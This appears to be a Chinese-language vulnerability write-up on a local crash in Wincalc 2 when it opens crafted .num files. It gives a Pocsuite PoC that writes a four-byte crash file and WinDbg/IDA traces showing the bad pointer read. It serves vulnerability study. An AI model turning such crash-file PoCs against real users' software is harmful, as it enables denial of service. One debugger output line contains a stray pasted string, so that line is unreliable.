作者:k0shl 转载请注明出处:http://whereisk0shl.top
软件下载:
https://www.exploit-db.com/apps/4ed38161a0d59c52d25a672e757a635b-wcru32z.exe
PoC:
#!/usr/bin/env python # coding: utf-8 from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register class TestPOC(POCBase): vulID = '69156' # ssvid version = '1.0' author = ['k0Sh1血战排行榜'] vulDate = '' createDate = '2016-01-01' updateDate = '2016-01-01' references = ['http://www.sebug.net/vuldb/ssvid-69156'] name = 'Wincalc 2 (.num) local Buffer Overflow PoC' appPowerLink = 'https://www.exploit-db.com/apps/4ed38161a0d59c52d25a672e757a635b-wcru32z.exe' appName = 'Wincalc' appVersion = '2.0' vulType = 'Local Denial Service' desc = ''' 1、目前attack暂缺,可以通过--verify生成样本文件 2、原poc链接下载的exe无法触发漏洞,会直接退出,exploit-db下载的版本可以使用 ''' samples = [''] def _attack(self): result = {} #Write your code here return self.parse_output(result) def _verify(self): result = {} #Write your code here poc = '/x41' * 4 f = open('wincalc.poc','w') f.write(poc) f.close() result['FileInfo'] = {} result['FileInfo']['Content'] = 'Create WinCalc PoC OK!' return self.parse_output(result) def parse_output(self, result): #parse output output = Output(self) if result: output.success(result) else: output.fail('File Create Failure!') return output register(TestPOC)
测试环境:
Win xp sp3
这个PoC仍然是基于创宇的Pocsuite写的,可以提取payload部分重新写一个,运行会生成一个.num文件,之后直接用Wincalc2打开.num软件,触发漏洞。
此漏洞是由于执行文件读取.num文件时,在读取文件之后的if语句判断中,由于操作失误,导致本应读取地址的地方却变成了读取缓冲区前4位,导致程序读取指针失败,因此,只要是.num文件前4位不是一个在内存空间中可读的地址,就会出现崩溃的情况,而并不像PoC中说的那样需要超长字符串,但目前我没有想出这种漏洞的利用方式,从现在来看,此漏洞只能造成本地拒绝服务,下面对此漏洞进行详细的分析。
首先我们通过Pocsuite生成样本文件,打开wincalc,加载样本文件,程序崩溃,Windbg弹出。
0:000> g (790.7f8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=0046ee18 ecx=41414141 edx=00000000 esi=00992d90 edi=00ac1dc8 eip=00417a74 esp=0012f9dc ebp=0012fa20 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 wcalcru!_GetExceptDLLinfo+0x16a2e: 00417a74 837c8e4100 cmp dword ptr [esi+ecx*4+41h],0 ds:0023:059e32d5=jQuery21405961041268892586_1451650865293??????
可以看到此时esi+ecx*4+41h是一个不可读的地址,此时ecx的值是41414141,我们通过kb查看堆栈调用。
0:000> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 0012fa20 00417c71 00992d90 00ac1dc8 00000000 wcalcru!_GetExceptDLLinfo+0x16a2e 0012fa50 00417885 00992d90 00ac1dc8 00f80044 wcalcru!_GetExceptDLLinfo+0x16c2b 0012fa70 00432582 00992d90 00f80044 0012faa0 wcalcru!_GetExceptDLLinfo+0x1683f 0012fa80 004327f4 00992d90 00417832 00000000 wcalcru!_GetExceptDLLinfo+0x3153c 0012faa0 0043846e 009930bf 0012fad4 00f80044 wcalcru!_GetExceptDLLinfo+0x317ae 0012fafc 0043856e 009930cb 00000233 00f80044 wcalcru!_GetExceptDLLinfo+0x37428
我们要通过回溯的方法观察漏洞触发的原因,首先我们要检查的位置是00417c71。
我们在00417c6c下断点,然后重新打开程序,并附加样本。
0:001> bp 00417c6c *** WARNING: Unable to verify checksum for C:/peanut/wcalcru.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:/peanut/wcalcru.exe - 0:001> g Breakpoint 0 hit eax=00992b28 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8 eip=00417c6c esp=0012fa28 ebp=0012fa50 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 wcalcru!_GetExceptDLLinfo+0x16c26: 00417c6c e8befdffff call wcalcru!_GetExceptDLLinfo+0x169e9 (00417a2f) 0:000> p (498.66c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=0046ee18 ecx=41414141 edx=00000000 esi=00992d90 edi=00ac1dc8 eip=00417a74 esp=0012f9dc ebp=0012fa20 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 wcalcru!_GetExceptDLLinfo+0x16a2e: 00417a74 837c8e4100 cmp dword ptr [esi+ecx*4+41h],0 ds:0023:059e32d5=????????
可以看到在00417c6c程序中断,我们通过F10步过,到达漏洞现场,说明问题出现在00417c6c处的call函数中,我们首先在外层函数中观察一下汇编代码。
.text:00417C68 add esp, 8 .text:00417C6B push esi .text:00417C6C call sub_417A2F
我们通过F11步入这个sub_417a2f中,查看一下进入后的部分代码。
0:000> p eax=00992b28 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8 eip=00417a3b esp=0012f9dc ebp=0012fa20 iopl=0 nv up ei pl nz na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207 wcalcru!_GetExceptDLLinfo+0x169f5: 00417a3b 684d2f4600 push offset wcalcru!__CPPdebugHook+0x1de6 (00462f4d) 0:000> p eax=00992b28 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8 eip=00417a40 esp=0012f9d8 ebp=0012fa20 iopl=0 nv up ei pl nz na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207 wcalcru!_GetExceptDLLinfo+0x169fa: 00417a40 8b864e020000 mov eax,dword ptr [esi+24Eh] ds:0023:00992fde=00993314 0:000> p eax=00993314 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8 eip=00417a46 esp=0012f9d8 ebp=0012fa20 iopl=0 nv up ei pl nz na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207 wcalcru!_GetExceptDLLinfo+0x16a00: 00417a46 ff7008 push dword ptr [eax+8] ds:0023:0099331c=00992b28 0:000> p eax=00993314 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8 eip=00417a49 esp=0012f9d4 ebp=0012fa20 iopl=0 nv up ei pl nz na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207 wcalcru!_GetExceptDLLinfo+0x16a03: 00417a49 e8cae10300 call wcalcru!__unlockDebuggerData$qv+0x2e30 (00455c18)
这里的call调用需要关注一下,到达这里时,我们通过esp来观察一下这里call调用时的两个push进来的参数。
第一个参数
0:000> dc poi(esp) 00992b28 445c3a43 6d75636f 73746e65 646e6120 C:/Documents and 00992b38 74655320 676e6974 64415c73 696e696d Settings/Admini 00992b48 61727473 5c726f74 636e6977 2e636c61 strator/wincalc. 00992b58 006d756e 00000000 00000000 00000000 num.............
第二个参数
0:000> dc poi(esp+4) 00462f4d 00006272 4d554e00 6e695700 636c6163 rb
可以看到第一处参数是一个路径,第二个参数是rb,那么我们可以猜测此处函数调用应该是一个fopen函数,打开的就是我们的漏洞文件。
接下来我们继续单步跟踪。
0:000> p eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8 eip=00417a60 esp=0012f9dc ebp=0012fa20 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 wcalcru!_GetExceptDLLinfo+0x16a1a: 00417a60 53 push ebx 0:000> p eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8 eip=00417a61 esp=0012f9d8 ebp=0012fa20 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 wcalcru!_GetExceptDLLinfo+0x16a1b: 00417a61 6a01 push 1 0:000> p eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8 eip=00417a63 esp=0012f9d4 ebp=0012fa20 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 wcalcru!_GetExceptDLLinfo+0x16a1d: 00417a63 6a04 push 4 0:000> p eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8 eip=00417a65 esp=0012f9d0 ebp=0012fa20 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 wcalcru!_GetExceptDLLinfo+0x16a1f: 00417a65 8d55fc lea edx,[ebp-4] 0:000> p eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=0012fa1c esi=00992d90 edi=00ac1dc8 eip=00417a68 esp=0012f9d0 ebp=0012fa20 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 wcalcru!_GetExceptDLLinfo+0x16a22: 00417a68 52 push edx 0:000> p eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=0012fa1c esi=00992d90 edi=00ac1dc8 eip=00417a69 esp=0012f9cc ebp=0012fa20 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 wcalcru!_GetExceptDLLinfo+0x16a23: 00417a69 e8e2e30300 call wcalcru!__unlockDebuggerData$qv+0x3068 (00455e50)
到达这处call函数的时候,我们发现传入了4个参数,其实这里是一处fread,这一点,我们可以通过ida pro来佐证。
.text:00417A60 push ebx ; stream .text:00417A61 push 1 ; n .text:00417A63 push 4 ; size .text:00417A65 lea edx, [ebp+ptr] .text:00417A68 push edx ; ptr .text:00417A69 call _fread
可以看到edx寄存器存放了ptr指针的值,其实这个值的地址是用来保存读取的文件的,我们要记住这个值。
0:000> r edx edx=0012fa1c
而且我们看到,读取的第二个参数是4,也就是说,只读取4位。
0:000> p eax=00000001 ebx=0046ee18 ecx=00000041 edx=00000000 esi=00992d90 edi=00ac1dc8 eip=00417a6e esp=0012f9cc ebp=0012fa20 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 wcalcru!_GetExceptDLLinfo+0x16a28: 00417a6e 83c410 add esp,10h 0:000> dc 0012fa1c 0012fa1c 41414141
可以看到此时读取到的值是41414141,也就是前4位,但是后来继续跟进。
0:000> p eax=00000001 ebx=0046ee18 ecx=00000041 edx=00000000 esi=00992d90 edi=00ac1dc8 eip=00417a71 esp=0012f9dc ebp=0012fa20 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 wcalcru!_GetExceptDLLinfo+0x16a2b: 00417a71 8b4dfc mov ecx,dword ptr [ebp-4] ss:0023:0012fa1c=41414141 0:000> p eax=00000001 ebx=0046ee18 ecx=41414141 edx=00000000 esi=00992d90 edi=00ac1dc8 eip=00417a74 esp=0012f9dc ebp=0012fa20 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 wcalcru!_GetExceptDLLinfo+0x16a2e: 00417a74 837c8e4100 cmp dword ptr [esi+ecx*4+41h],0 ds:0023:059e32d5=????????
可以看到紧接着ebp-4地址的值交给ecx,此时,这里的赋值应该是赋值一个地址,而不是缓冲区的值,从而导致了地址不可读,引发拒绝服务。